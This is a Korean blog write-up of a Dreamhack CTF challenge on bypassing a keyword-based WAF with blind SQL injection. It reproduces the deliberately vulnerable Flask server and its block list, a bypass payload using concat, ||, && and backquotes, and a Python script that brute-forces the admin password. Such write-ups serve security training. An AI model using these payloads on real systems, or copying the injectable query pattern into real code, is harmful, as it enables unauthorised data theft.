외로운 Nova의 작업실
dreamhack 웹해킹 - 13(sql injection bypass WAF Advanced 풀이) 본문
dreamhack 웹해킹 - 13(sql injection bypass WAF Advanced 풀이)
Nova_ 2023. 1. 21. 16:16안녕하세요. 이번시간에는 sql injection bypass WAF Advanced 드림핵 문제풀이를 해보겠습니다.
- 문제인식
별다른 설명은 없네요.. 문제파일을 보겠습니다.
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;
sql.init 파일을 보게되면 uid가 admin인 upw에 플래그가 있음을 알 수 있습니다. 결국 admin의 비밀번호를 알아내는 문제 인 것 같습니다.
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/', '\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
for keyword in keywords:
if keyword in data.lower():
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
서버 코드를 보게되면 사용자가 보낸 입력값을 check_WAF 함수를 통해 검증하고 있습니다. Keywords 값에 포함되어있는 단어를 쓰면 WAF에 걸리게되는 것 같습니다. 키워드는 아래와 같습니다.
keywords = ['union', 'select', 'from', 'and', 'or',
'admin', ' ', '*', '/', '\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
위와 같은 키워드를 피해서 sql injection을 실행해야겠다는 생각이듭니다. 또한 sql 서버는 mysql을 사용함을 알 수 있습니다.
- 문제풀이
<테스트>
먼저 서버에 접속해보겠습니다.
시범삼아 admin을 입력해보겠습니다.
키워드에 있으므로 WAF가 걸리게됩니다. 그럼 guest를 입력해보겠습니다.
guest가 뜨는 것을 알 수 있습니다.
<전략세우기>
일단 sqlinjection은 WAF만 우회하면 가능합니다. 이때 서버의 return값이 항상 uid값이므로 정상적인 방법으로는 upw를 한번에 볼 수 없습니다. 또한 error-based를 쓰고싶지만 이걸 쓰기위해선 select를 무조건 써야합니다. 대소문자 우회를할 수 있는지 봤지만
if keyword in data.lower():
이와 같은 문장으로 select를 쓰지못하는 것을 알 수 있습니다. 따라서 blind injection을 실행해야한다는 것을 알 수 있습니다.
<blind injection - 프로토 세우기>
sql injection 프로토를 쓰게되면
SELECT * FROM user WHERE uid='1' or uid='admin' and upw like 'DH{%'
위처럼 될 것입니다. 이때 하나씩 WAF를 우회해보겠습니다. 먼저 admin을 우회하겠습니다.
SELECT * FROM user WHERE uid='1' or uid=concat('adm','in') and upw like 'DH{%'
이제 and와 or을 우회하겠습니다.
SELECT * FROM user WHERE uid='1' || uid=concat('adm','in') && upw like 'DH{%'
이제 띄어쓰기를 우회해보겠습니다. 띄어쓰기 우회는 붙일건 붙이고 붙였을때 오류가나는 부분은 backquote(`)로 구분해줍니다.
SELECT * FROM user WHERE uid='1'||uid=concat('adm','in')&&`upw`like'DH{%'
이제 우리가 입력할 uid부분만 추출해보겠습니다.
1'||uid=concat('adm','in')&&`upw`like'DH{%
이제 한번 넣어보겠습니다.
admin이 뜨는 것을 확인할 수 있습니다.
<자동화 스크립트 작성 및 실행>
프로토를 가지고 수작업으로 일일이 하나씩 구하는 방법도 있지만 빠르게하기위해서 파이썬 코드를 작성해줍니다.
import requests
def insertParam(param, plus):
param['uid'] = param['uid'][:-2] + plus + '%' #param을 조작합니다.
def searchFlag(param): #추가되는 문자를 찾는 함수 리턴은 추가되는 문자
for i in range(48, 126):#전체검사
if(i == 95 ):
continue
plus = chr(i)
insertParam(param, plus)
response = requests.get("http://host3.dreamhack.games:10733", params = param)
if("admin" in response.text):
return plus
for i in range(33, 47): #WAF가 포함된 문자검사
if(i == 42 or i == 43 or i == 45 or i == 47):
continue
insertParam(param, plus)
response = requests.get("http://host3.dreamhack.games:10733", params = param)
if("admin" in response.text):
return plus
print("검사 범위를 벗어났습니다")
return 0
def insetFlag(plus):
flag += plus
if __name__ == '__main__':
param = {"uid":"1'||uid=concat('adm','in')&&`upw`like'DH{%"} #make parms
flag = "DH"
while(flag[-1] != '}'):
plusChar = searchFlag(param) #param을 조작해서 plus를 찾습니다.
print(plusChar) #plusChar을 출력합니다.
flag += plusChar #plus를 flag에 넣습니다.
print(flag) #추가한 flag를 출력합니다.
param['uid'] = param['uid'][:-1] + plusChar + '%' #plus를 param에 넣어서 줍니다.
print(flag) #마지막까지 찾았다면 플래그를 출력합니다.
실행시켜보겠습니다.
플래그 값이 나옵니다. 이것을 홈페이지에 넣으면 잘못된 값으로 나오는데 이는 대소문자때문에 그렇습니다. 대문자를 소문자로 변경해주면 성공입니다.
'Web Penetesting > Web Vulnerability' 카테고리의 다른 글
dreamhack 웹해킹 - 15(Apache htaccess 풀이) (0) | 2023.02.08 |
---|---|
[dreamhack] node-serialize 풀이 (0) | 2023.01.28 |
dreamhack 웹해킹 - 12(error-based sqli) (0) | 2023.01.10 |
dreamhack 웹해킹 - 11(blind-command) (0) | 2022.12.28 |
dreamhack 웹해킹 - 10(Carve Party) (0) | 2022.12.28 |